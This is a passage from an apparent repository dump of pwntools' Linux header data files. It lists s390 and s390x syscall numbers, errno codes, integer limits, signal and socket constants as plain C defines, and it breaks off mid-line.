SYS_getgid32 200\n#define SYS_getgroups 80\n#define SYS_getgroups32 205\n#define SYS_getitimer 105\n#define SYS_get_kernel_syms 130\n#define SYS_get_mempolicy 269\n#define SYS_getpeername 368\n#define SYS_getpgid 132\n#define SYS_getpgrp 65\n#define SYS_getpid 20\n#define SYS_getpmsg 188\n#define SYS_getppid 64\n#define SYS_getpriority 96\n#define SYS_getrandom 349\n#define SYS_getresgid 171\n#define SYS_getresgid32 211\n#define SYS_getresuid 165\n#define SYS_getresuid32 209\n#define SYS_getrlimit 76\n#define SYS_get_robust_list 305\n#define SYS_getrusage 77\n#define SYS_getsid 147\n#define SYS_getsockname 367\n#define SYS_getsockopt 365\n#define SYS_gettid 236\n#define SYS_gettimeofday 78\n#define SYS_getuid 24\n#define SYS_getuid32 199\n#define SYS_getxattr 227\n#define SYS_idle 112\n#define SYS_init_module 128\n#define SYS_inotify_add_watch 285\n#define SYS_inotify_init 284\n#define SYS_inotify_init1 324\n#define SYS_inotify_rm_watch 286\n#define SYS_io_cancel 247\n#define SYS_ioctl 54\n#define SYS_io_destroy 244\n#define SYS_io_getevents 245\n#define SYS_ioperm 101\n#define SYS_io_pgetevents 382\n#define SYS_io_pgetevents_time64 416\n#define SYS_ioprio_get 283\n#define SYS_ioprio_set 282\n#define SYS_io_setup 243\n#define SYS_io_submit 246\n#define SYS_io_uring_enter 426\n#define SYS_io_uring_register 427\n#define SYS_io_uring_setup 425\n#define SYS_ipc 117\n#define SYS_kcmp 343\n#define SYS_kexec_file_load 381\n#define SYS_kexec_load 277\n#define SYS_keyctl 280\n#define SYS_kill 37\n#define SYS_lchown 16\n#define SYS_lchown32 198\n#define SYS_lgetxattr 228\n#define SYS_link 9\n#define SYS_linkat 296\n#define SYS_listen 363\n#define SYS_listxattr 230\n#define SYS_llistxattr 231\n#define SYS__llseek 140\n#define SYS_lookup_dcookie 110\n#define SYS_lremovexattr 234\n#define SYS_lseek 19\n#define SYS_lsetxattr 225\n#define SYS_lstat 107\n#define SYS_lstat64 196\n#define SYS_madvise 219\n#define SYS_mbind 268\n#define SYS_membarrier 356\n#define SYS_memfd_create 350\n#define SYS_migrate_pages 287\n#define SYS_mincore 218\n#define SYS_mkdir 39\n#define SYS_mkdirat 289\n#define SYS_mknod 14\n#define SYS_mknodat 290\n#define SYS_mlock 150\n#define SYS_mlock2 374\n#define SYS_mlockall 152\n#define SYS_mmap 90\n#define SYS_mmap2 192\n#define SYS_mount 21\n#define SYS_move_mount 429\n#define SYS_move_pages 310\n#define SYS_mprotect 125\n#define SYS_mq_getsetattr 276\n#define SYS_mq_notify 275\n#define SYS_mq_open 271\n#define SYS_mq_timedreceive 274\n#define SYS_mq_timedreceive_time64 419\n#define SYS_mq_timedsend 273\n#define SYS_mq_timedsend_time64 418\n#define SYS_mq_unlink 272\n#define SYS_mremap 163\n#define SYS_msgctl 402\n#define SYS_msgget 399\n#define SYS_msgrcv 401\n#define SYS_msgsnd 400\n#define SYS_msync 144\n#define SYS_munlock 151\n#define SYS_munlockall 153\n#define SYS_munmap 91\n#define SYS_name_to_handle_at 335\n#define SYS_nanosleep 162\n#define SYS__newselect 142\n#define SYS_nfsservctl 169\n#define SYS_nice 34\n#define SYS_open 5\n#define SYS_openat 288\n#define SYS_openat2 437\n#define SYS_open_by_handle_at 336\n#define SYS_open_tree 428\n#define SYS_pause 29\n#define SYS_perf_event_open 331\n#define SYS_personality 136\n#define SYS_pidfd_getfd 438\n#define SYS_pidfd_open 434\n#define SYS_pidfd_send_signal 424\n#define SYS_pipe 42\n#define SYS_pipe2 325\n#define SYS_pivot_root 217\n#define SYS_pkey_alloc 385\n#define SYS_pkey_free 386\n#define SYS_pkey_mprotect 384\n#define SYS_poll 168\n#define SYS_ppoll 302\n#define SYS_ppoll_time64 414\n#define SYS_prctl 172\n#define SYS_pread64 180\n#define SYS_preadv 328\n#define SYS_preadv2 376\n#define SYS_prlimit64 334\n#define SYS_process_vm_readv 340\n#define SYS_process_vm_writev 341\n#define SYS_pselect6 301\n#define SYS_pselect6_time64 413\n#define SYS_ptrace 26\n#define SYS_putpmsg 189\n#define SYS_pwrite64 181\n#define SYS_pwritev 329\n#define SYS_pwritev2 377\n#define SYS_query_module 167\n#define SYS_quotactl 131\n#define SYS_read 3\n#define SYS_readahead 222\n#define SYS_readdir 89\n#define SYS_readlink 85\n#define SYS_readlinkat 298\n#define SYS_readv 145\n#define SYS_reboot 88\n#define SYS_recvfrom 371\n#define SYS_recvmmsg 357\n#define SYS_recvmmsg_time64 417\n#define SYS_recvmsg 372\n#define SYS_remap_file_pages 267\n#define SYS_removexattr 233\n#define SYS_rename 38\n#define SYS_renameat 295\n#define SYS_renameat2 347\n#define SYS_request_key 279\n#define SYS_restart_syscall 7\n#define SYS_rmdir 40\n#define SYS_rseq 383\n#define SYS_rt_sigaction 174\n#define SYS_rt_sigpending 176\n#define SYS_rt_sigprocmask 175\n#define SYS_rt_sigqueueinfo 178\n#define SYS_rt_sigreturn 173\n#define SYS_rt_sigsuspend 179\n#define SYS_rt_sigtimedwait 177\n#define SYS_rt_sigtimedwait_time64 421\n#define SYS_rt_tgsigqueueinfo 330\n#define SYS_s390_guarded_storage 378\n#define SYS_s390_pci_mmio_read 353\n#define SYS_s390_pci_mmio_write 352\n#define SYS_s390_runtime_instr 342\n#define SYS_s390_sthyi 380\n#define SYS_sched_getaffinity 240\n#define SYS_sched_getattr 346\n#define SYS_sched_getparam 155\n#define SYS_sched_get_priority_max 159\n#define SYS_sched_get_priority_min 160\n#define SYS_sched_getscheduler 157\n#define SYS_sched_rr_get_interval 161\n#define SYS_sched_rr_get_interval_time64 423\n#define SYS_sched_setaffinity 239\n#define SYS_sched_setattr 345\n#define SYS_sched_setparam 154\n#define SYS_sched_setscheduler 156\n#define SYS_sched_yield 158\n#define SYS_seccomp 348\n#define SYS_semctl 394\n#define SYS_semget 393\n#define SYS_semtimedop_time64 420\n#define SYS_sendfile 187\n#define SYS_sendfile64 223\n#define SYS_sendmmsg 358\n#define SYS_sendmsg 370\n#define SYS_sendto 369\n#define SYS_setdomainname 121\n#define SYS_setfsgid 139\n#define SYS_setfsgid32 216\n#define SYS_setfsuid 138\n#define SYS_setfsuid32 215\n#define SYS_setgid 46\n#define SYS_setgid32 214\n#define SYS_setgroups 81\n#define SYS_setgroups32 206\n#define SYS_sethostname 74\n#define SYS_setitimer 104\n#define SYS_set_mempolicy 270\n#define SYS_setns 339\n#define SYS_setpgid 57\n#define SYS_setpriority 97\n#define SYS_setregid 71\n#define SYS_setregid32 204\n#define SYS_setresgid 170\n#define SYS_setresgid32 210\n#define SYS_setresuid 164\n#define SYS_setresuid32 208\n#define SYS_setreuid 70\n#define SYS_setreuid32 203\n#define SYS_setrlimit 75\n#define SYS_set_robust_list 304\n#define SYS_setsid 66\n#define SYS_setsockopt 366\n#define SYS_set_tid_address 252\n#define SYS_settimeofday 79\n#define SYS_setuid 23\n#define SYS_setuid32 213\n#define SYS_setxattr 224\n#define SYS_shmat 397\n#define SYS_shmctl 396\n#define SYS_shmdt 398\n#define SYS_shmget 395\n#define SYS_shutdown 373\n#define SYS_sigaction 67\n#define SYS_sigaltstack 186\n#define SYS_signal 48\n#define SYS_signalfd 316\n#define SYS_signalfd4 322\n#define SYS_sigpending 73\n#define SYS_sigprocmask 126\n#define SYS_sigreturn 119\n#define SYS_sigsuspend 72\n#define SYS_socket 359\n#define SYS_socketcall 102\n#define SYS_socketpair 360\n#define SYS_splice 306\n#define SYS_stat 106\n#define SYS_stat64 195\n#define SYS_statfs 99\n#define SYS_statfs64 265\n#define SYS_statx 379\n#define SYS_stime 25\n#define SYS_swapoff 115\n#define SYS_swapon 87\n#define SYS_symlink 83\n#define SYS_symlinkat 297\n#define SYS_sync 36\n#define SYS_sync_file_range 307\n#define SYS_syncfs 338\n#define SYS__sysctl 149\n#define SYS_sysfs 135\n#define SYS_sysinfo 116\n#define SYS_syslog 103\n#define SYS_tee 308\n#define SYS_tgkill 241\n#define SYS_time 13\n#define SYS_timer_create 254\n#define SYS_timer_delete (254+4)\n#define SYS_timerfd 317\n#define SYS_timerfd_create 319\n#define SYS_timerfd_gettime 321\n#define SYS_timerfd_gettime64 410\n#define SYS_timerfd_settime 320\n#define SYS_timerfd_settime64 411\n#define SYS_timer_getoverrun (254+3)\n#define SYS_timer_gettime (254+2)\n#define SYS_timer_gettime64 408\n#define SYS_timer_settime (254+1)\n#define SYS_timer_settime64 409\n#define SYS_times 43\n#define SYS_tkill 237\n#define SYS_truncate 92\n#define SYS_truncate64 193\n#define SYS_ugetrlimit 191\n#define SYS_umask 60\n#define SYS_umount 22\n#define SYS_umount2 52\n#define SYS_uname 122\n#define SYS_unlink 10\n#define SYS_unlinkat 294\n#define SYS_unshare 303\n#define SYS_uselib 86\n#define SYS_userfaultfd 355\n#define SYS_ustat 62\n#define SYS_utime 30\n#define SYS_utimensat 315\n#define SYS_utimensat_time64 412\n#define SYS_utimes 313\n#define SYS_vfork 190\n#define SYS_vhangup 111\n#define SYS_vmsplice 309\n#define SYS_wait4 114\n#define SYS_waitid 281\n#define SYS_write 4\n#define SYS_writev 146\n"
  },
  {
    "path": "pwnlib/data/includes/linux/s390x.h",
    "content": "#define __NR_exit 1\n#define __NR_fork 2\n#define __NR_read 3\n#define __NR_write 4\n#define __NR_open 5\n#define __NR_close 6\n#define __NR_restart_syscall 7\n#define __NR_creat 8\n#define __NR_link 9\n#define __NR_unlink 10\n#define __NR_execve 11\n#define __NR_chdir 12\n#define __NR_mknod 14\n#define __NR_chmod 15\n#define __NR_lseek 19\n#define __NR_getpid 20\n#define __NR_mount 21\n#define __NR_umount 22\n#define __NR_ptrace 26\n#define __NR_alarm 27\n#define __NR_pause 29\n#define __NR_utime 30\n#define __NR_access 33\n#define __NR_nice 34\n#define __NR_sync 36\n#define __NR_kill 37\n#define __NR_rename 38\n#define __NR_mkdir 39\n#define __NR_rmdir 40\n#define __NR_dup 41\n#define __NR_pipe 42\n#define __NR_times 43\n#define __NR_brk 45\n#define __NR_signal 48\n#define __NR_acct 51\n#define __NR_umount2 52\n#define __NR_ioctl 54\n#define __NR_fcntl 55\n#define __NR_setpgid 57\n#define __NR_umask 60\n#define __NR_chroot 61\n#define __NR_ustat 62\n#define __NR_dup2 63\n#define __NR_getppid 64\n#define __NR_getpgrp 65\n#define __NR_setsid 66\n#define __NR_sigaction 67\n#define __NR_sigsuspend 72\n#define __NR_sigpending 73\n#define __NR_sethostname 74\n#define __NR_setrlimit 75\n#define __NR_getrusage 77\n#define __NR_gettimeofday 78\n#define __NR_settimeofday 79\n#define __NR_symlink 83\n#define __NR_readlink 85\n#define __NR_uselib 86\n#define __NR_swapon 87\n#define __NR_reboot 88\n#define __NR_readdir 89\n#define __NR_mmap 90\n#define __NR_munmap 91\n#define __NR_truncate 92\n#define __NR_ftruncate 93\n#define __NR_fchmod 94\n#define __NR_getpriority 96\n#define __NR_setpriority 97\n#define __NR_statfs 99\n#define __NR_fstatfs 100\n#define __NR_socketcall 102\n#define __NR_syslog 103\n#define __NR_setitimer 104\n#define __NR_getitimer 105\n#define __NR_stat 106\n#define __NR_lstat 107\n#define __NR_fstat 108\n#define __NR_lookup_dcookie 110\n#define __NR_vhangup 111\n#define __NR_idle 112\n#define __NR_wait4 114\n#define __NR_swapoff 115\n#define __NR_sysinfo 116\n#define __NR_ipc 117\n#define __NR_fsync 118\n#define __NR_sigreturn 119\n#define __NR_clone 120\n#define __NR_setdomainname 121\n#define __NR_uname 122\n#define __NR_adjtimex 124\n#define __NR_mprotect 125\n#define __NR_sigprocmask 126\n#define __NR_create_module 127\n#define __NR_init_module 128\n#define __NR_delete_module 129\n#define __NR_get_kernel_syms 130\n#define __NR_quotactl 131\n#define __NR_getpgid 132\n#define __NR_fchdir 133\n#define __NR_bdflush 134\n#define __NR_sysfs 135\n#define __NR_personality 136\n#define __NR_afs_syscall 137\n#define __NR_getdents 141\n#define __NR_select 142\n#define __NR_flock 143\n#define __NR_msync 144\n#define __NR_readv 145\n#define __NR_writev 146\n#define __NR_getsid 147\n#define __NR_fdatasync 148\n#define __NR__sysctl 149\n#define __NR_mlock 150\n#define __NR_munlock 151\n#define __NR_mlockall 152\n#define __NR_munlockall 153\n#define __NR_sched_setparam 154\n#define __NR_sched_getparam 155\n#define __NR_sched_setscheduler 156\n#define __NR_sched_getscheduler 157\n#define __NR_sched_yield 158\n#define __NR_sched_get_priority_max 159\n#define __NR_sched_get_priority_min 160\n#define __NR_sched_rr_get_interval 161\n#define __NR_nanosleep 162\n#define __NR_mremap 163\n#define __NR_query_module 167\n#define __NR_poll 168\n#define __NR_nfsservctl 169\n#define __NR_prctl 172\n#define __NR_rt_sigreturn 173\n#define __NR_rt_sigaction 174\n#define __NR_rt_sigprocmask 175\n#define __NR_rt_sigpending 176\n#define __NR_rt_sigtimedwait 177\n#define __NR_rt_sigqueueinfo 178\n#define __NR_rt_sigsuspend 179\n#define __NR_pread64 180\n#define __NR_pwrite64 181\n#define __NR_getcwd 183\n#define __NR_capget 184\n#define __NR_capset 185\n#define __NR_sigaltstack 186\n#define __NR_sendfile 187\n#define __NR_getpmsg 188\n#define __NR_putpmsg 189\n#define __NR_vfork 190\n#define __NR_getrlimit 191\n#define __NR_lchown 198\n#define __NR_getuid 199\n#define __NR_getgid 200\n#define __NR_geteuid 201\n#define __NR_getegid 202\n#define __NR_setreuid 203\n#define __NR_setregid 204\n#define __NR_getgroups 205\n#define __NR_setgroups 206\n#define __NR_fchown 207\n#define __NR_setresuid 208\n#define __NR_getresuid 209\n#define __NR_setresgid 210\n#define __NR_getresgid 211\n#define __NR_chown 212\n#define __NR_setuid 213\n#define __NR_setgid 214\n#define __NR_setfsuid 215\n#define __NR_setfsgid 216\n#define __NR_pivot_root 217\n#define __NR_mincore 218\n#define __NR_madvise 219\n#define __NR_getdents64 220\n#define __NR_readahead 222\n#define __NR_setxattr 224\n#define __NR_lsetxattr 225\n#define __NR_fsetxattr 226\n#define __NR_getxattr 227\n#define __NR_lgetxattr 228\n#define __NR_fgetxattr 229\n#define __NR_listxattr 230\n#define __NR_llistxattr 231\n#define __NR_flistxattr 232\n#define __NR_removexattr 233\n#define __NR_lremovexattr 234\n#define __NR_fremovexattr 235\n#define __NR_gettid 236\n#define __NR_tkill 237\n#define __NR_futex 238\n#define __NR_sched_setaffinity 239\n#define __NR_sched_getaffinity 240\n#define __NR_tgkill 241\n#define __NR_io_setup 243\n#define __NR_io_destroy 244\n#define __NR_io_getevents 245\n#define __NR_io_submit 246\n#define __NR_io_cancel 247\n#define __NR_exit_group 248\n#define __NR_epoll_create 249\n#define __NR_epoll_ctl 250\n#define __NR_epoll_wait 251\n#define __NR_set_tid_address 252\n#define __NR_fadvise64 253\n#define __NR_timer_create 254\n#define __NR_timer_settime (254+1)\n#define __NR_timer_gettime (254+2)\n#define __NR_timer_getoverrun (254+3)\n#define __NR_timer_delete (254+4)\n#define __NR_clock_settime (254+5)\n#define __NR_clock_gettime (254+6)\n#define __NR_clock_getres (254+7)\n#define __NR_clock_nanosleep (254+8)\n#define __NR_statfs64 265\n#define __NR_fstatfs64 266\n#define __NR_remap_file_pages 267\n#define __NR_mbind 268\n#define __NR_get_mempolicy 269\n#define __NR_set_mempolicy 270\n#define __NR_mq_open 271\n#define __NR_mq_unlink 272\n#define __NR_mq_timedsend 273\n#define __NR_mq_timedreceive 274\n#define __NR_mq_notify 275\n#define __NR_mq_getsetattr 276\n#define __NR_kexec_load 277\n#define __NR_add_key 278\n#define __NR_request_key 279\n#define __NR_keyctl 280\n#define __NR_waitid 281\n#define __NR_ioprio_set 282\n#define __NR_ioprio_get 283\n#define __NR_inotify_init 284\n#define __NR_inotify_add_watch 285\n#define __NR_inotify_rm_watch 286\n#define __NR_migrate_pages 287\n#define __NR_openat 288\n#define __NR_mkdirat 289\n#define __NR_mknodat 290\n#define __NR_fchownat 291\n#define __NR_futimesat 292\n#define __NR_newfstatat 293\n#define __NR_unlinkat 294\n#define __NR_renameat 295\n#define __NR_linkat 296\n#define __NR_symlinkat 297\n#define __NR_readlinkat 298\n#define __NR_fchmodat 299\n#define __NR_faccessat 300\n#define __NR_pselect6 301\n#define __NR_ppoll 302\n#define __NR_unshare 303\n#define __NR_set_robust_list 304\n#define __NR_get_robust_list 305\n#define __NR_splice 306\n#define __NR_sync_file_range 307\n#define __NR_tee 308\n#define __NR_vmsplice 309\n#define __NR_move_pages 310\n#define __NR_getcpu 311\n#define __NR_epoll_pwait 312\n#define __NR_utimes 313\n#define __NR_fallocate 314\n#define __NR_utimensat 315\n#define __NR_signalfd 316\n#define __NR_timerfd 317\n#define __NR_eventfd 318\n#define __NR_timerfd_create 319\n#define __NR_timerfd_settime 320\n#define __NR_timerfd_gettime 321\n#define __NR_signalfd4 322\n#define __NR_eventfd2 323\n#define __NR_inotify_init1 324\n#define __NR_pipe2 325\n#define __NR_dup3 326\n#define __NR_epoll_create1 327\n#define __NR_preadv 328\n#define __NR_pwritev 329\n#define __NR_rt_tgsigqueueinfo 330\n#define __NR_perf_event_open 331\n#define __NR_fanotify_init 332\n#define __NR_fanotify_mark 333\n#define __NR_prlimit64 334\n#define __NR_name_to_handle_at 335\n#define __NR_open_by_handle_at 336\n#define __NR_clock_adjtime 337\n#define __NR_syncfs 338\n#define __NR_setns 339\n#define __NR_process_vm_readv 340\n#define __NR_process_vm_writev 341\n#define __NR_s390_runtime_instr 342\n#define __NR_kcmp 343\n#define __NR_finit_module 344\n#define __NR_sched_setattr 345\n#define __NR_sched_getattr 346\n#define __NR_renameat2 347\n#define __NR_seccomp 348\n#define __NR_getrandom 349\n#define __NR_memfd_create 350\n#define __NR_bpf 351\n#define __NR_s390_pci_mmio_write 352\n#define __NR_s390_pci_mmio_read 353\n#define __NR_execveat 354\n#define __NR_userfaultfd 355\n#define __NR_membarrier 356\n#define __NR_recvmmsg 357\n#define __NR_sendmmsg 358\n#define __NR_socket 359\n#define __NR_socketpair 360\n#define __NR_bind 361\n#define __NR_connect 362\n#define __NR_listen 363\n#define __NR_accept4 364\n#define __NR_getsockopt 365\n#define __NR_setsockopt 366\n#define __NR_getsockname 367\n#define __NR_getpeername 368\n#define __NR_sendto 369\n#define __NR_sendmsg 370\n#define __NR_recvfrom 371\n#define __NR_recvmsg 372\n#define __NR_shutdown 373\n#define __NR_mlock2 374\n#define __NR_copy_file_range 375\n#define __NR_preadv2 376\n#define __NR_pwritev2 377\n#define __NR_s390_guarded_storage 378\n#define __NR_statx 379\n#define __NR_s390_sthyi 380\n#define __NR_kexec_file_load 381\n#define __NR_io_pgetevents 382\n#define __NR_rseq 383\n#define __NR_pkey_mprotect 384\n#define __NR_pkey_alloc 385\n#define __NR_pkey_free 386\n#define __NR_semtimedop 392\n#define __NR_semget 393\n#define __NR_semctl 394\n#define __NR_shmget 395\n#define __NR_shmctl 396\n#define __NR_shmat 397\n#define __NR_shmdt 398\n#define __NR_msgget 399\n#define __NR_msgsnd 400\n#define __NR_msgrcv 401\n#define __NR_msgctl 402\n#define __NR_pidfd_send_signal 424\n#define __NR_io_uring_setup 425\n#define __NR_io_uring_enter 426\n#define __NR_io_uring_register 427\n#define __NR_open_tree 428\n#define __NR_move_mount 429\n#define __NR_fsopen 430\n#define __NR_fsconfig 431\n#define __NR_fsmount 432\n#define __NR_fspick 433\n#define __NR_pidfd_open 434\n#define __NR_clone3 435\n#define __NR_openat2 437\n#define __NR_pidfd_getfd 438\n#define MAP_32BIT 0x40\n#define INADDR_ANY 0\n#define INADDR_BROADCAST 0xffffffff\n#define INADDR_NONE 0xffffffff\n#define INADDR_LOOPBACK 0x7f000001\n#define EPERM 1\n#define ENOENT 2\n#define ESRCH 3\n#define EINTR 4\n#define EIO 5\n#define ENXIO 6\n#define E2BIG 7\n#define ENOEXEC 8\n#define EBADF 9\n#define ECHILD 10\n#define EAGAIN 11\n#define ENOMEM 12\n#define EACCES 13\n#define EFAULT 14\n#define ENOTBLK 15\n#define EBUSY 16\n#define EEXIST 17\n#define EXDEV 18\n#define ENODEV 19\n#define ENOTDIR 20\n#define EISDIR 21\n#define EINVAL 22\n#define ENFILE 23\n#define EMFILE 24\n#define ENOTTY 25\n#define ETXTBSY 26\n#define EFBIG 27\n#define ENOSPC 28\n#define ESPIPE 29\n#define EROFS 30\n#define EMLINK 31\n#define EPIPE 32\n#define EDOM 33\n#define ERANGE 34\n#define EDEADLK 35\n#define ENAMETOOLONG 36\n#define ENOLCK 37\n#define ENOSYS 38\n#define ENOTEMPTY 39\n#define ELOOP 40\n#define EWOULDBLOCK 11\n#define ENOMSG 42\n#define EIDRM 43\n#define ECHRNG 44\n#define EL2NSYNC 45\n#define EL3HLT 46\n#define EL3RST 47\n#define ELNRNG 48\n#define EUNATCH 49\n#define ENOCSI 50\n#define EL2HLT 51\n#define EBADE 52\n#define EBADR 53\n#define EXFULL 54\n#define ENOANO 55\n#define EBADRQC 56\n#define EBADSLT 57\n#define EDEADLOCK 35\n#define EBFONT 59\n#define ENOSTR 60\n#define ENODATA 61\n#define ETIME 62\n#define ENOSR 63\n#define ENONET 64\n#define ENOPKG 65\n#define EREMOTE 66\n#define ENOLINK 67\n#define EADV 68\n#define ESRMNT 69\n#define ECOMM 70\n#define EPROTO 71\n#define EMULTIHOP 72\n#define EDOTDOT 73\n#define EBADMSG 74\n#define EOVERFLOW 75\n#define ENOTUNIQ 76\n#define EBADFD 77\n#define EREMCHG 78\n#define ELIBACC 79\n#define ELIBBAD 80\n#define ELIBSCN 81\n#define ELIBMAX 82\n#define ELIBEXEC 83\n#define EILSEQ 84\n#define ERESTART 85\n#define ESTRPIPE 86\n#define EUSERS 87\n#define ENOTSOCK 88\n#define EDESTADDRREQ 89\n#define EMSGSIZE 90\n#define EPROTOTYPE 91\n#define ENOPROTOOPT 92\n#define EPROTONOSUPPORT 93\n#define ESOCKTNOSUPPORT 94\n#define EOPNOTSUPP 95\n#define ENOTSUP 95\n#define EPFNOSUPPORT 96\n#define EAFNOSUPPORT 97\n#define EADDRINUSE 98\n#define EADDRNOTAVAIL 99\n#define ENETDOWN 100\n#define ENETUNREACH 101\n#define ENETRESET 102\n#define ECONNABORTED 103\n#define ECONNRESET 104\n#define ENOBUFS 105\n#define EISCONN 106\n#define ENOTCONN 107\n#define ESHUTDOWN 108\n#define ETOOMANYREFS 109\n#define ETIMEDOUT 110\n#define ECONNREFUSED 111\n#define EHOSTDOWN 112\n#define EHOSTUNREACH 113\n#define EALREADY 114\n#define EINPROGRESS 115\n#define ESTALE 116\n#define EUCLEAN 117\n#define ENOTNAM 118\n#define ENAVAIL 119\n#define EISNAM 120\n#define EREMOTEIO 121\n#define EDQUOT 122\n#define ENOMEDIUM 123\n#define EMEDIUMTYPE 124\n#define ECANCELED 125\n#define ENOKEY 126\n#define EKEYEXPIRED 127\n#define EKEYREVOKED 128\n#define EKEYREJECTED 129\n#define EOWNERDEAD 130\n#define ENOTRECOVERABLE 131\n#define ERFKILL 132\n#define EHWPOISON 133\n#define __SYS_NERR ((133) + 1)\n#define __LITTLE_ENDIAN 1234\n#define __BIG_ENDIAN 4321\n#define __BYTE_ORDER 4321\n#define __FLOAT_WORD_ORDER 4321\n#define LITTLE_ENDIAN 1234\n#define BIG_ENDIAN 4321\n#define BYTE_ORDER 4321\n#define __WORDSIZE 64\n#define INT8_MAX (127)\n#define INT16_MAX (32767)\n#define INT32_MAX (2147483647)\n#define INT64_MAX (9223372036854775807)\n#define INT8_MIN (-1 - (127))\n#define INT16_MIN (-1 - (32767))\n#define INT32_MIN (-1 - (2147483647))\n#define INT64_MIN (-1 - (9223372036854775807))\n#define INT_LEAST8_MAX (127)\n#define INT_LEAST8_MIN (-1 - (127))\n#define INT_LEAST16_MAX (32767)\n#define INT_LEAST16_MIN (-1 - (32767))\n#define INT_LEAST32_MAX (2147483647)\n#define INT_LEAST32_MIN (-1 - (2147483647))\n#define INT_LEAST64_MAX (9223372036854775807)\n#define INT_LEAST64_MIN (-1 - (9223372036854775807))\n#define UINT8_MAX 0xff\n#define UINT16_MAX 0xffff\n#define UINT32_MAX 0xffffffff\n#define UINT64_MAX 0xffffffffffffffff\n#define UINT_LEAST8_MAX 0xff\n#define UINT_LEAST16_MAX 0xffff\n#define UINT_LEAST32_MAX 0xffffffff\n#define UINT_LEAST64_MAX 0xffffffffffffffff\n#define INTPTR_MIN (-1 - (9223372036854775807))\n#define INTPTR_MAX (9223372036854775807)\n#define UINTPTR_MAX 0xffffffffffffffff\n#define SIZE_MAX 0xffffffffffffffff\n#define PTRDIFF_MIN (-1 - (9223372036854775807))\n#define PTRDIFF_MAX (9223372036854775807)\n#define INTMAX_MIN (-1 - (9223372036854775807))\n#define INTMAX_MAX (9223372036854775807)\n#define UINTMAX_MAX 0xffffffffffffffff\n#define INT_FAST8_MIN (-1 - (127))\n#define INT_FAST8_MAX (127)\n#define INT_FAST64_MIN (-1 - (9223372036854775807))\n#define INT_FAST64_MAX (9223372036854775807)\n#define UINT_FAST8_MAX 0xff\n#define UINT_FAST64_MAX 0xffffffffffffffff\n#define INT_FAST16_MIN (-1 - (9223372036854775807))\n#define INT_FAST16_MAX (9223372036854775807)\n#define UINT_FAST16_MAX 0xffffffffffffffff\n#define INT_FAST32_MIN (-1 - (9223372036854775807))\n#define INT_FAST32_MAX (9223372036854775807)\n#define UINT_FAST32_MAX 0xffffffffffffffff\n#define WINT_MIN 0\n#define __FSUID_H 1\n#define NSIG 32\n#define _NSIG 65\n#define SIGHUP 1\n#define SIGINT 2\n#define SIGQUIT 3\n#define SIGILL 4\n#define SIGTRAP 5\n#define SIGABRT 6\n#define SIGIOT 6\n#define SIGFPE 8\n#define SIGKILL 9\n#define SIGSEGV 11\n#define SIGPIPE 13\n#define SIGALRM 14\n#define SIGTERM 15\n#define SIGUNUSED 31\n#define SIGRTMIN 32\n#define SIGRTMAX (65-1)\n#define SA_NOCLDSTOP 0x00000001\n#define SA_NOCLDWAIT 0x00000002\n#define SA_SIGINFO 0x00000004\n#define SA_RESTORER 0x04000000\n#define SA_ONSTACK 0x08000000\n#define SA_RESTART 0x10000000\n#define SA_INTERRUPT 0x20000000\n#define SA_NODEFER 0x40000000\n#define SA_RESETHAND 0x80000000\n#define SA_NOMASK 0x40000000\n#define SA_ONESHOT 0x80000000\n#define SS_ONSTACK 1\n#define SS_DISABLE 2\n#define MINSIGSTKSZ 2048\n#define SIGSTKSZ 8192\n#define SIG_BLOCK 0\n#define SIG_UNBLOCK 1\n#define SIG_SETMASK 2\n#define SI_MAX_SIZE 128\n#define SIGEV_SIGNAL 0\n#define SIGEV_NONE 1\n#define SIGEV_THREAD 2\n#define SIGEV_THREAD_ID 4\n#define SIGEV_MAX_SIZE 64\n#define _SYS_TIME_H 1\n#define ITIMER_REAL 0\n#define ITIMER_VIRTUAL 1\n#define ITIMER_PROF 2\n#define FD_SETSIZE 1024\n#define R_OK 4\n#define W_OK 2\n#define X_OK 1\n#define F_OK 0\n#define SEEK_SET 0\n#define SEEK_CUR 1\n#define SEEK_END 2\n#define STDIN_FILENO 0\n#define STDOUT_FILENO 1\n#define STDERR_FILENO 2\n#define _CS_PATH 1\n#define _SC_CLK_TCK 1\n#define _SC_ARG_MAX 2\n#define _SC_NGROUPS_MAX 3\n#define _SC_OPEN_MAX 4\n#define _SC_PAGESIZE 5\n#define _SC_NPROCESSORS_ONLN 6\n#define _SC_NPROCESSORS_CONF 6\n#define _SC_PHYS_PAGES 7\n#define _SC_GETPW_R_SIZE_MAX 8\n#define _SC_GETGR_R_SIZE_MAX 9\n#define _PC_PATH_MAX 1\n#define _PC_VDISABLE 2\n#define L_cuserid 17\n#define _POSIX_VERSION 199506\n#define F_ULOCK 0\n#define F_LOCK 1\n#define F_TLOCK 2\n#define F_TEST 3\n#define _POSIX_MAPPED_FILES 200809\n#define S_IFMT 0xf000\n#define S_IFSOCK 0xc000\n#define S_IFLNK 0xa000\n#define S_IFREG 0x8000\n#define S_IFBLK 0x6000\n#define S_IFDIR 0x4000\n#define S_IFCHR 0x2000\n#define S_IFIFO 0x1000\n#define S_ISUID 0x800\n#define S_ISGID 0x400\n#define S_ISVTX 0x200\n#define S_IRWXU 0x1c0\n#define S_IRUSR 0x100\n#define S_IWUSR 0x80\n#define S_IXUSR 0x40\n#define S_IRWXG 0x38\n#define S_IRGRP 0x20\n#define S_IWGRP 0x10\n#define S_IXGRP 0x8\n#define S_IRWXO 0x7\n#define S_IROTH 0x4\n#define S_IWOTH 0x2\n#define S_IXOTH 0x1\n#define S_IREAD 0x100\n#define S_IWRITE 0x80\n#define S_IEXEC 0x40\n#define _SYS_UIO 1\n#define SOL_SOCKET 1\n#define SO_DEBUG 1\n#define SO_REUSEADDR 2\n#define SO_TYPE 3\n#define SO_ERROR 4\n#define SO_DONTROUTE 5\n#define SO_BROADCAST 6\n#define SO_SNDBUF 7\n#define SO_RCVBUF 8\n#define SO_KEEPALIVE 9\n#define SO_OOBINLINE 10\n#define SO_NO_CHECK 11\n#define SO_PRIORITY 12\n#define SO_LINGER 13\n#define SO_BSDCOMPAT 14\n#define SO_REUSEPORT 15\n#define SO_PASSCRED 16\n#define SO_PEERCRED 17\n#define SO_RCVLOWAT 18\n#define SO_SNDLOWAT 19\n#define SO_RCVTIMEO 20\n#define SO_SNDTIMEO 21\n#define SO_SECURITY_AUTHENTICATION 22\n#define SO_SECURITY_ENCRYPTION_TRANSPORT 23\n#define SO_SECURITY_ENCRYPTION_NETWORK 24\n#define SO_BINDTODEVICE 25\n#define SO_ATTACH_FILTER 26\n#define SO_DETACH_FILTER 27\n#define SO_GET_FILTER 26\n#define SO_PEERNAME 28\n#define SO_TIMESTAMP 29\n#define 